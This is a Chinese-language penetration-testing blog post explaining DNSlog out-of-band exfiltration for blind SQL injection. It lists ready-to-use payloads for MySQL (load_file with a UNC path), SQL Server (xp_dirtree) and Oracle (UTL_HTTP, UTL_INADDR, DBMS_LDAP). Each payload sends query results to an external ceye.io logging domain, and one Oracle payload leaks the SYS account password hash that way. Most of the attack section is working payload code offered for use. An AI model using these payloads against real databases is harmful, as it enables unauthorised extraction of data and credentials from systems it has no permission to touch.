zoukankan      html  css  js  c++  java
  • dnslog

     0x00  前言

    我们在盲注的时候,会非常的繁杂,发起大量的请求容易被禁ip。
    爆数据的时候也比较慢,所以我们需要用到dnslog盲注。


    0x01  dnslog盲注
    dnslog盲注条件:
    dnslog 盲注有一定的局限性,条件是secure_file_priv必须为空并且是windows系统。
    secure_file_priv= null  不允许导入导出
    secure_file_priv = /tmp   只允许在tmp 目录导入导出
    secure_file_priv  =          没有具体的值

    show global variables like '%secure%';
    查看secure_file_priv 的值

    如果没有需要手工设置。
    可修改mysql配置文件Windows下为my.ini, 在[mysqld]下面,查看是否有:
    secure_file_priv =

    没有就手工添加。
    添加完成后直接来查询
    Windows但不支持 Linux ,原因如下:load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。
    UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式
    。因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的
    mysql 盲注构造 payload
    and load_file(concat('\\',(select database()),'.fbuf5n.ceye.io\abc'))




    就可以看到数据库名已经被回显在dns平台上。
    在一些sqlserver无回显, Oracle注入无回显、ssrf 、xxe、命令执行无回显的时候也可以用到dnslog来回显出来。
    sqlserver :

    payload:
    DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 name from  master.dbo.sysobjects where xtype = 'u')+'.fbut5n.ceye.io';EXEC('master..xp_dirtree"\'+@host+'foobar$"');



    oracle:
    SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
    dnslog 平台:
    http://ceye.io/
    0x02  尾声
    渗透在于折腾 
  • 相关阅读:
    《一起》Alpha版软件使用说明
    意见评论
    评论总结
    项目评审
    对大神联盟博客的检查结果
    SmartCoder每日站立会议10
    SmartCoder每日站立会议09
    mac php环境启动
    gulp工具rename
    gulp图片压缩
  • 原文地址:https://www.cnblogs.com/nice0e3/p/12786496.html
Copyright © 2011-2022 走看看